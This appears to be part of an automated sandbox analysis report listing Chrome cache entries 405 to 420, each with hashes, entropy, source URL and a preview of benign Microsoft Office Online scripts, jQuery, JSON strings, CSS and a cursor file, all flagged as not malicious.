SHA-512:	93450345EE48033238467EF1BA3550F3C2FACA5C07178B1E7AAB989A4C845D7D87FC25FC33AAF431CBF1AEA5B9C3FE6619A8045B066DB5B239197072029E0740
Malicious:	false
Reputation:	low
URL:	https://cdn.onenote.net/officeaddins/161790740450_Scripts/pickadate.min.js
Preview:	!function(a){"function"==typeof define&&define.amd?define("picker",["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):this.Picker=a(jQuery)}(function(a){function b(f,g,h,k){function l(){return b._.node("div",b._.node("div",b._.node("div",b._.node("div",w.component.nodes(r.open),t.box),t.wrap),t.frame),t.holder)}function m(){u.data(g,w).addClass(t.input).val(u.data("value")?w.get("select",s.format):f.value).on("focus."+r.id+" click."+r.id,p),s.editable\|\|u.on("keydown."+r.id,function(a){var b=a.keyCode,c=/^(8\|46)$/.test(b);return 27==b?(w.close(),!1):void((32==b\|\|c\|\|!r.open&&w.component.key[b])&&(a.preventDefault(),a.stopPropagation(),c?w.clear().close():w.open()))}),e(f,{haspopup:!0,expanded:!1,readonly:!1,owns:f.id+"_root"+(w._hidden?" "+w._hidden.id:"")})}function n(){w.$root.on({focusin:function(a){w.$root.removeClass(t.focused),a.stopPropagation()},"mousedown click":function(b){var c=b.target;c!=w.$root.children()[0]&&(b.stopPropagation(),"mousedown"!=b.type\|

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41116)
Category:	dropped
Size (bytes):	41140
Entropy (8bit):	5.513380748841639
Encrypted:	false
SSDEEP:	768:2ox/6ef5WhPJ76SqwRltw7u0kBQrKeTgVzVyh4Hs2V7M3B3:2i5WhIIl2K6VUhyhR2V74N
MD5:	08FBFF79B5EEC28DDFF4D772223B81A9
SHA1:	AAABD7E0B32698E8295139C4868E9AEE5EDBD112
SHA-256:	773A678845579E6334F19D4E62F29446E7898BD816359C74574E37884503F909
SHA-512:	F94A2C8D756313A616F4E3DBDB9661AF3CC843F74CF066243C649F943E4AEAB696E01E37E33CC57DF16F73504B529702D28C779931ADC2630C6D4FD318FFDDC7
Malicious:	false
Reputation:	low
Preview:	/! Version=16.0.0.0 /.if(!window)window=this;var Type=Function;window.Type=Type;Array.$F=function(a,b){a.push(b)};Array.clear=function(a){a.length=0};Array.$1n=function(a,b){return Array.$1L(a,b)>=0};Array.$1L=function(c,e,a){if(c.indexOf)return c.indexOf(e,a);a=a;if(isNaN(a))a=0;var d=c.length;if(isFinite(a))a=a\|0;if(a<0)a=Math.max(0,d+a);for(var b=a;b<d;b++)if(c[b]===e)return b;return-1};Array.dequeue=function(a){return a.shift()};Array.enqueue=function(a,b){Array.$F(a,b)};Array.$2O=function(b,c){var a=Array.$1L(b,c);a>=0&&Array.$1y(b,a);return a>=0};Array.$1y=function(a,b){a.splice(b,1)};Array.__typeName="Array";Array.$1c=true;Boolean.__typeName="Boolean";Boolean.$1c=true;Date.$26=function(f,c){for(var d=0,a=false,b=0,g=f.length;b<g;b++){var e=f.charAt(b);switch(e){case"'":if(a)c.$0("'");else d++;a=false;break;case"\\":a&&c.$0("\\");a=!a;break;default:c.$0(e.toString());a=false}}return d};Date.$2E=function(a,b){if(!b)b="F";if(b.length===1)switch(b){case"d":return a.ShortDatePatter

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65535), with no line terminators
Category:	downloaded
Size (bytes):	76571
Entropy (8bit):	5.364259301211758
Encrypted:	false
SSDEEP:	768:Y57B+n7r5qGhmViGJmOsrmNS+p2ZiDO0eX/DcynXE+L92w7q9u7k78CRtfa:YxB+n7r55RGMr9nXEiz7V7k78r
MD5:	4DE42314D6EDDA70DF9779762ACC12B8
SHA1:	2AF63137ABC68C0910107F8598B7DE48FD5BBD9C
SHA-256:	7E86DF2AC06E3524CB7BC6F0B8EB07565BA6D103EAF3CF1A30AC4C78F11A4EAA
SHA-512:	4465A7B79288AC5B75B4B21DDE3EA774F94AC209DDADFF99DA7741ED841C739C1F82DAEB550DC707A986FFFED8B9B84F45CA7705F40244A993D0CE34BD65B02B
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/Feedback/latest/officebrowserfeedback_ecs_client.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FloodgateDynamicCampaign=t():e.FloodgateDynamicCampaign=t()}(self,(function(){return function(){var e={7222:function(e,t,n){"use strict";var r=this&&this.__createBinding\|\|(Object.create?function(e,t,n,r){void 0===r&&(r=n),Object.defineProperty(e,r,{enumerable:!0,get:function(){return t[n]}})}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),i=this&&this.__exportStar\|\|function(e,t){for(var n in e)"default"===n\|\|Object.prototype.hasOwnProperty.call(t,n)\|\|r(t,e,n)};Object.defineProperty(t,"__esModule",{value:!0}),t.IFloodgateHostPlatform=t.GovernedChannelType=t.ICampaignDefinitions=t.Api=void 0,i(n(7560),t),t.Api=n(7560),i(n(2783),t),i(n(8262),t),i(n(234),t);var o=n(9556);Object.defineProperty(t,"ICampaignDefinitions",{enumerable:!0,get:function(){return o.ICampaignDefinitions}});var s=n(8445);Object.defineProperty(t,"Govern

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	17073
Entropy (8bit):	4.927573574885564
Encrypted:	false
SSDEEP:	384:r3GhH6oaSwSaPQsPq3Qf3/U/8vFwoJbr2wKodV3vzJ9YaikHcL2MQk7:rgzwSkQWjU/8BlOaikMKu
MD5:	7E4B14A120791D9AAC2A387B9BCAC22A
SHA1:	83232C00756A243DDB2F0B3FFFFD24D5EDD9EA34
SHA-256:	C3114F4400B80C128BDD158647F73F87A5458369E19688562C58715BC37D4C20
SHA-512:	7C202D1B23665A052634626F21C645F878DC03C996D2D7D858E9A8210093FC96E315CAFFF2BB00DE7994918FD9B141A3E195A10AF0950A8C683E3FDBBD1CB7BD
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/suiteux-shell/strings/en/shellstrings.json
Preview:	{. "Microsoft": "Microsoft",. "FlexpaneCloseButton": "Close pane",. "Me_Header": "My account",. "MePhotoAriaLabel": "{0} {1} Current account's user photo",. "ChangePhotoAriaLabel": "{0} {1} Change the photo that appears in IM. This may open a new window.",. "MePhotoTitle": "Current account's user photo",. "ChangePhotoTitle": "Change the photo that appears in IM. This may open a new window.",. "AppLauncherAriaLabel": "App launcher opened",. "AppLauncherCloseAriaLabel": "Close the app launcher",. "AppLauncherHomeAriaLabel": "Microsoft 365, will be open in new tab",. "AppsModuleHeading": "Apps",. "Microsoft365": "Microsoft 365",. "AppsModuleAllApps": "All apps",. "AppsModuleAllAppsTooltip": "Open all apps",. "AllViewGroupShowMore": "Show More",. "AllViewGroupShowLess": "Show Less",. "AllViewBack": "Back",. "AllViewNewGroupHeading": "New",. "AllViewAdminSelectedGroupHeading": "Admin selected apps",. "AllViewMoreFirstPartyGroupHeading": "More from Microsoft",. "AllViewT

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89493
Entropy (8bit):	5.289599913770796
Encrypted:	false
SSDEEP:	1536:YjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h5cApwEjOPrBeU6QLiTFbc0QlQvakF:YYh8eip3hXuf6IidlrvakdtQ47GK1
MD5:	12108007906290015100837A6A61E9F4
SHA1:	1D6AE46F2FFA213DEDE37A521B011EC1CD8D1AD3
SHA-256:	C4DCCDD9AE25B64078E0C73F273DE94F8894D5C99E4741645ECE29AEEFC9C5A4
SHA-512:	93658F3EB4A044523A7136871E125D73C9005DA44CE09045103A35A4F18695888ECAFE2F9C0D0FA741B95CC618C6000F9AD9AFFC821A400EA7E5F2C0C8968530
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.5.0.min.js
Preview:	/! jQuery v3.5.0 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (4207), with CRLF line terminators
Category:	dropped
Size (bytes):	4212
Entropy (8bit):	5.732834657954366
Encrypted:	false
SSDEEP:	48:Rm/hpTwpHpypYYqeQkpYYFNtjEYtDE0kypOKeklKVuAmM3oVKCM3j++j+xUJo8/q:iyzh0QYtD5o6Im+n36+jLXYKMVp/
MD5:	5780200B7FE28C3F2C46864A012246E5
SHA1:	03A13FDC8A8CC7DBECE15E23105EA6E870105133
SHA-256:	0EF96689F29280B58D5024539DFE352EC9DD520CA1EDA5E24F0AEBD31DE0A560
SHA-512:	4FCC868D4E3401728FE4AEBB2AF8D2DB937309EA98EB916E02CF85E61504170C5B7B62C3169D4BE130363552063B1232575CDD9863026CAB2816DA96BD03AD26
Malicious:	false
Reputation:	low
Preview:	.<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title></title><script type="text/javascript"> var l_ErrorImageAlt_Text = "The service is unavailable"; var l_ErrorHeader_Text = "Service Unavailable"; var l_ErrorLine1_Text = "We are currently experiencing technical difficulties."; var l_ErrorLine2_Text = "Please try again later."; var l_ErrorHeaderStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 18pt; color: #444444; line-height: 150%"; var l_ErrorTextStyle_Text = "font-family: calibri, tahoma, verdana, arial, sans serif; font-size: 10pt; color: #444444"; var language = "en-us"; function writeLocalizedErrorMessage() { getBrowserLanguage(); loadScript(); try{ if(window.parent.g_enableFramePageErrorReporting) { const message = { MessageId: "Wac_AppFailed", SendTim

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	168365
Entropy (8bit):	5.531054795587342
Encrypted:	false
SSDEEP:	3072:CYnfhiNLgQ7HIDhrVajKqhutob4xQU9HLCc/WDWommKbmSiPRu/8viLbfP:TMNL7ghJajKqhM+4xQU9HOGmKbVb3
MD5:	18B200C460C451695CEA44C729F1F7EE
SHA1:	22D231106FA37B296BA2045CD948EF122AE569DE
SHA-256:	1CD48CBB6D17A3A004FEF20817F93C5965B6DCB275D63C8902D46E56895C5F9D
SHA-512:	E4B30EBA57A62DAD3476220384D5C1702EDC31866A9A0E1B06808B97F6BAA52F1B0357E3DF63C23682CBF98EF63E4B0841091A8C43BBD7F994FF4F47F9DA7824
Malicious:	false
Reputation:	low
Preview:	var Microsoft;!function(){"use strict";var t,e,n,o,i={18973:function(t,e,n){n.d(e,{h:function(){return s}});var o=n(20947),i=n(46049),r=n(38980),s=function(t){function e(){var e=null!==t&&t.apply(this,arguments)\|\|this;return e.value=null,e.hasNext=!1,e.hasCompleted=!1,e}return o.C6(e,t),e.prototype.U=function(e){return this.hasError?(e.error(this.thrownError),r.y.EMPTY):this.hasCompleted&&this.hasNext?(e.next(this.value),e.complete(),r.y.EMPTY):t.prototype.U.call(this,e)},e.prototype.next=function(t){this.hasCompleted\|\|(this.value=t,this.hasNext=!0)},e.prototype.error=function(e){this.hasCompleted\|\|t.prototype.error.call(this,e)},e.prototype.complete=function(){this.hasCompleted=!0,this.hasNext&&t.prototype.next.call(this,this.value),t.prototype.complete.call(this)},e}(i.B7)},43803:function(t,e,n){n.d(e,{t:function(){return s}});var o=n(20947),i=n(46049),r=n(15368),s=function(t){function e(e){var n=t.call(this)\|\|this;return n.N=e,n}return o.C6(e,t),Object.defineProperty(e.prototype,"va

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	71206
Entropy (8bit):	5.516345224841572
Encrypted:	false
SSDEEP:	1536:6X1lS++fM0aApmAH/UhsKE1E9i7w2fpo/:6Fl9+fM0aSH/ErE1EGNfp4
MD5:	A02F545640A0AB4759C12A60D1FA9D34
SHA1:	0AEB018166BCE818E8B631139A61FE692DBF38EF
SHA-256:	4470D1CF0DA033C705E2E3964A47171872D08232A91F8F30582E1D926F8A093B
SHA-512:	3D0442A02371958DE4E9ECF6B1B1EEF4BB40B8B392D325D84FF99DE6AFE8EE8A572DD5F755F3086465B45CB92931C81B3C682B58854E3880977C3B878FA382A5
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/wise/owl/owl.handlers.1192f18a7393a8d9af17.js
Preview:	(globalThis.webpackChunkMicrosoft_Office_OWL=globalThis.webpackChunkMicrosoft_Office_OWL\|\|[]).push([[6720],{22187:function(e,n,t){"use strict";t.d(n,{A:function(){return a}});var o=t(9824),r=t.n(o),i=t(10528),s=t.n(i)()(r());s.push([e.id,".lLFji2JIIWB51LkuYBKM{width:75%;height:75%;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);background-color:#fff;box-sizing:border-box;outline:1px solid transparent;z-index:5;box-shadow:0 0 5px 0 rgba(0,0,0,.4);border:none}","",{version:3,sources:["webpack://./../owl-service/lib/filePicker/filePickerStyles.module.scss"],names:[],mappings:"AAAA,sBACE,SAAA,CACA,UAAA,CACA,cAAA,CACA,OAAA,CACA,QAAA,CACA,2CAAA,CACA,qBAAA,CACA,qBAAA,CACA,6BAAA,CACA,SAAA,CACA,mCAAA,CACA,WAAA",sourcesContent:[".file-picker-iframe {\n width: 75%;\n height: 75%;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translateY(-50%) translateX(-50%);\n background-color: #fff;\n box-sizing: border-box;\n outline: 1px solid transparent;\n z-

Chrome Cache Entry: 412

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3638
Entropy (8bit):	4.315243664494117
Encrypted:	false
SSDEEP:	96:6/fGnScPHM6hkOh7uEjJ7UymTmhI4n3owG39VoN:6/+npHDhkg5lATwGVC
MD5:	AB68AD79B6AFD1A57FCBF45DC642D9F4
SHA1:	E71A8290C13F5CC6C5790B734C50C2F157B2BA82
SHA-256:	B04A47DA438E8B35878157D37D5C4F6614FAC9A9CD40725D0F1A8272AFD88E42
SHA-512:	F30E7D6AFAA568DE2A55D55098D5F6AC7C18401B976046F9202C751E3FAF6A13399DFE3BE2A357A31B22011604F76361929415CAE2959D830363AD8946EAA64D
Malicious:	false
Reputation:	low
Preview:	{"timestamp":1721128045706,"BootstrapperUlsHeartBeatIsEnabled":false,"EnableCommonHostDiagnosticsParams":true,"ShouldLogJsApiKpisForWord":true,"EnableFramePageErrorReportingForWord":false,"EnableWordSessionRefreshTelemetry":false,"BootstrapperSettingsFetchPeriod":60000,"BootstrapperUlsHeartbeatIntervalMs":5000,"BootstrapperMaxUlsHeartbeatTime":600000,"BootstrapperNoCompleteWarning1Time":120000,"BootstrapperNoCompleteWarning2Time":180000,"BootstrapperUlsUploadCadenceMs":60000,"RequestedCallThrottlingDefaultToViewMinimumValue":"Major","RemoteUlsETag":"0D2FB038748FD7F15682069D0E94E4BE713F6F45","RemoteUlsSuppressions":"378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,229

Chrome Cache Entry: 413

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2890)
Category:	dropped
Size (bytes):	2939
Entropy (8bit):	5.4463871069846315
Encrypted:	false
SSDEEP:	48:mYn37JKN7i8LOBL8h+b8eIaWRG+8DVKX+6Q9fru1+6Q9agZO7+OcmwQ9vQ9P5AAR:mYLcvbh+Yeoo+8w+Da1+DagZO+wpuP5P
MD5:	53C022F55F8974A1E16B7F3D50199C6C
SHA1:	EEF1F63E7E416B6A826FEA3B2AF2FC1974964298
SHA-256:	4963C0887647EE3ABBAC1B602F2E78F105F4BF9903F1A3E8FCF6FFD96F4EC2EE
SHA-512:	97C05AC438089666E16BE4C86A389C6555D2667D7E0B7EB2E1691E678A4D46C3840EC3B2E42666110280B63E778451392342F672E61B7420C77E3D176C429ED6
Malicious:	false
Reputation:	low
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[977],{16344:function(e,t,n){var o=n(70396),a=n(43461)(o);a.push([e.id,".wacCanvasOverlay__overlay___DpHwX {\n bottom: 0;\n left: -50px;\n position: absolute;\n right: 0;\n top: 0;\n z-index: 90;\n background: rgba(0, 0, 0, 0);\n -ms-high-contrast-adjust: none;\n}\n",""]),a.locals={overlay:"wacCanvasOverlay__overlay___DpHwX"},e.exports=a},83619:function(e,t,n){"use strict";n.r(t);var o=n(87343),a=n(35440),s=n(37194);const l=n(36065),r=(0,o.connect)((e=>({showOverlay:e.isVisible,navSelection:e.navSelection})))((e=>{const t=e.showOverlay&&!e.navSelection[s.C.SHOW_ALL]?a.createElement("div",{className:l.overlay}):null;return a.createElement("div",null,t)}));var c=n(42278),i=n(42435),d=n(45826),m=n(7165),u=n(82238),A=n(2025);let y=(0,i.I)();const S=(e,t)=>{let n={};return n[t]=!0,e((0,m.QI)(n)),c.Ay.ActionResponse.Succeeded};var v=n(67190),g=n(47207),h=n(33511),p=n(5066);const C=n(16510);var b;b=A.A.dispatch,

Chrome Cache Entry: 414

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20946), with CRLF line terminators
Category:	downloaded
Size (bytes):	21179
Entropy (8bit):	4.946956269702156
Encrypted:	false
SSDEEP:	384:OZKKcZ2dMMj+hS6rLg4dHg15dR7tV6NvQLsljRei:OZ7j+w6rLg3HtsNvLhRei
MD5:	92A3DDF4C14AF9EB4DB2939A2B2712AC
SHA1:	81B322775A3E9E9335FB780179B6B922759CE6FF
SHA-256:	5B6D3F98F8A755878F226B38FDB1F7C31E67B456221F253B70F95AA331668594
SHA-512:	1A61A585D707BFC1E78B8734A89D1C73673324E1ABF5CF579799D73860A5160119FDCD2C910C8B77C827C42E76D1A7FEEA2D43E9ADBD3B95223514A34E563D61
Malicious:	false
Reputation:	low
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/en-us/office_strings.js
Preview:	if (window.Type && window.Type.registerNamespace) {..Type.registerNamespace("Strings");} else {..if(typeof(window['"Strings"']) == 'undefined') {..window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;..}....}..Strings.OfficeOM=function(){};if (Strings.OfficeOM.registerClass) Strings.OfficeOM.registerClass("Strings.OfficeOM");Strings.OfficeOM.L_APICallFailed="API Call Failed";Strings.OfficeOM.L_APINotSupported="API Not Supported";Strings.OfficeOM.L_ActivityLimitReached="Activity limit has been reached.";Strings.OfficeOM.L_AddBindingFromPromptDefaultText="Please make a selection.";Strings.OfficeOM.L_AddinIsAlreadyRequestingToken="Add-in is already requesting an access token.";Strings.OfficeOM.L_AddinIsAlreadyRequestingTokenMessage="The operation failed because this add-in is already requesting an access token.";Strings.OfficeOM.L_ApiNotFoundDetails="The method or property {0} is part of the {1} requirement set, which is not available in your version of {2}.";String

Chrome Cache Entry: 415

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	124159
Entropy (8bit):	5.304824882770175
Encrypted:	false
SSDEEP:	1536:7GcYovBziFSDZ+w5uE2Bg9cFegKF1TA0So4RNRduCzEdb4u0xG1hlHpw:ycYovB4w5Kg9+z0GRNRdunNrvw
MD5:	914168910571B02884B5843A0D1B56C1
SHA1:	5416F23AA19293D2123410EDBFD94727A2E297AD
SHA-256:	003981BBEE6D2307CDBC93E0BB93C93912F31E67BC5D84262F07E7A73E76C92A
SHA-512:	49F70F4ADB63DBCB2852CCCED8FD2FFD4FFA9E051AF2EF646D2BE6698FA0C95103BCC912369A6D5C50D9763317D3A5470E26C1B9665E76B2762650D6BE0BBE6E
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h003981BBEE6D2307_App_Scripts/MicrosoftAjaxDS.js
Preview:	(function(){function getAugmentedNamespace(e){if(e.__esModule)return e;var t=e.default;if("function"==typeof t){var r=function e(){if(this instanceof e){var r=[null];return r.push.apply(r,arguments),new(Function.bind.apply(t,r))}return t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach((function(t){var n=Object.getOwnPropertyDescriptor(e,t);Object.defineProperty(r,t,n.get?n:{enumerable:!0,get:function(){return e[t]}})})),r}var lib={},extendStatics=function(e,t){return extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r])},extendStatics(e,t)};function __extends(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function r(){this.constructor=e}extendStatics(e,t),e.prototype=null===t?Object.create(t):(r.

Chrome Cache Entry: 416

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	441697
Entropy (8bit):	5.314434890838656
Encrypted:	false
SSDEEP:	12288:5p8JjHqc4zxn+9xVpkL59tJjsajOS37Fn9nr:vnr
MD5:	BAF5027C9909DF61ACAEE423C8A4E479
SHA1:	CD14F8673F69A774FBB6D3A79E9A9FABAE481943
SHA-256:	5DE63F9918151EEB4AE4413D662E386DC5D835DFC04B040BCF628F44B243B630
SHA-512:	BF0E32068317ABB24452F7CE8A64999424C9906FB479E4C59039E0C6E88570CFCFBCA57659DA86D700F418F920C57B6E221B7B5B6BB6D36E381B634B017C3882
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h5DE63F9918151EEB_resources/1033/OneNote.Refresh.css
Preview:	.headBrand{cursor:default;line-height:48px;font-size:22px;margin-left:20px;margin-right:20px;font-family:'SegoeUI-SemiLight-final','Segoe UI SemiLight','Segoe UI WPC Semilight','Segoe UI',Segoe,Tahoma,Helvetica,Arial,sans-serif;}.cui-topBar1-transistionalHeaderUI .headBrand{width:auto !important;height:24px !important;line-height:normal !important;padding-bottom:12px;padding-top:12px;display:inline-block;font-size:17px;font-family:inherit;margin-left:17px;margin-right:17px;font-family:'Segoe UI','Segoe UI Web',Arial,Verdana,sans-serif;}.cui-topBar1-transitionalReactHeaderUI .headBrand{width:auto !important;line-height:48px !important;padding:0 6px;display:inline-block;font-size:16px;font-weight:600;font-family:"Segoe UI","Segoe UI Web (West European)","Segoe UI",-apple-system,BlinkMacSystemFont,Roboto,"Helvetica Neue",sans-serif;}@font-face{font-family:"Segoe UI Web Light";font-style:normal;font-weight:normal;src:local("Segoe UI Light"),url('./segoeuil.woff') format('woff'),url('./sego

Chrome Cache Entry: 417

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11652), with no line terminators
Category:	dropped
Size (bytes):	11652
Entropy (8bit):	5.4349726505901295
Encrypted:	false
SSDEEP:	192:MFiBre+1RPmTJYPcCP3jEpGfB7/h1px1KB5hJdCZhbhibcm/+fhpl02pML1DaLCX:eiBre+1ZyONp3x12JdCZhli4mWfDlRGJ
MD5:	4B0BA25DE99455CCD43C90BEE2DBA45F
SHA1:	7552D1EA2450FBB7EEC67BBD556BF496938A4AEC
SHA-256:	32C207F2625D1F9313C91C0FE77F07587D678E862947A469FAA9ED53FFF5A748
SHA-512:	2FBD577A862C1F4E94A92D61E878918FCA4C359F57E37C3954E6AF39115BABD823A5D5EDC22FE1656C4AA402FF83F08E5ECEF3CD1570C8394089AE80F632DECC
Malicious:	false
Reputation:	low
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_consappdata_start"),(self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]=self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]\|\|[]).push([["consappdata"],{9227:function(e,o,t){t.r(o),t.d(o,{loadConsumerAppData:function(){return _}});var l=t(6968);const n="auth=1";function s(e,o,t,l,s,r){const i=encodeURIComponent(o),a=s?encodeURIComponent(s):"",h=s?"login_hint="+a:void 0,m="https://www.microsoft365.com",u="https://outlook.com";let p=h?u+"?"+h:u;const f="https://outlook.live.com/calendar/";let d=h?f+"?"+h:f;const S="https://onedrive.live.com";let g=h?S+"?"+h:S;const w=m+"/launch/word?"+["username="+i,n].join("&");let C=h?w+"&"+h:w;const _=m+"/launch/excel?"+["username="+i,n].join("&");let O=h?_+"&"+h:_;const P=m+"/launch/powerpoint?"+["username="+i,n].join("&");let E=h?P+"&"+h:P;let y="https:/

Chrome Cache Entry: 418

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	101803
Entropy (8bit):	5.333052740426743
Encrypted:	false
SSDEEP:	1536:uRJ1IIdEgIamTvRJSRk9UUezt4C34zcsSClhev:uRRYamTvRJsUezt4w4ztlhev
MD5:	2F1D74149F052D3354358E9856375219
SHA1:	8019F7A2EA824930F91C3EC375D926B650FB1CFF
SHA-256:	66C70312DE6CA4E1D7EF1E858307764C241A80E7411CEE686EA2FC2D74152749
SHA-512:	2B1C4E057DBF59E89C3AA9C5DAB1FE8F512ED400088B13592E493B3D48AA334544A7999CA2DDEFA34C23D2F96A2F98B93DD0AAC80C3CF7C37D85B49C5A85A6E6
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_App_Scripts/otel.worker.min.js
Preview:	var otelWorker=function(e){var n={};function t(r){if(n[r])return n[r].exports;var i=n[r]={i:r,l:!1,exports:{}};return e[r].call(i.exports,i,i.exports,t),i.l=!0,i.exports}return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{enumerable:!0,get:r})},t.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},t.t=function(e,n){if(1&n&&(e=t(e)),8&n)return e;if(4&n&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(t.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&n&&"string"!=typeof e)for(var i in e)t.d(r,i,function(n){return e[n]}.bind(null,i));return r},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,n){return Object.prototype.hasOwnProperty.call(e,n)},t.p="",t(t.s=7)}([function(e,n,t){"use strict";t.d(n,"h",(function(){return r})),t.d(

Chrome Cache Entry: 419

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows cursor resource - 1 icon, 32x32, hotspot @16x16
Category:	downloaded
Size (bytes):	4286
Entropy (8bit):	0.3626382302432769
Encrypted:	false
SSDEEP:	3:GlFFHvDllfl/t+lVsu/jXpRq/uXJRi/uXZRi/uXJRq/uX3XXRLtutpaKsx67YTsD:Gl/qlOeTjq2Di2Ti2Dq2nBL4OxhG5
MD5:	04D59A1FFDA7020CBDA1BB9FCBF0BCA0
SHA1:	E0CACE5751F02AF9E12B3C066FFD542F3D12A279
SHA-256:	EDC250E23E06AE7D15C1C19FDF9C6759129796B0A2F76DC82DF665C823C7B495
SHA-512:	A997D4384DA8D401321C497F49F73F0C79C1815DFD8B679458385D4E4A8ED2F645DDCF940A9347EA35F2D7AD3EE710F06784E8E1B1461AB7E8633BFF0FE0A691
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161790341012_resources/1033/pen_32x32.cur
Preview:	...... ..............(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 420

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
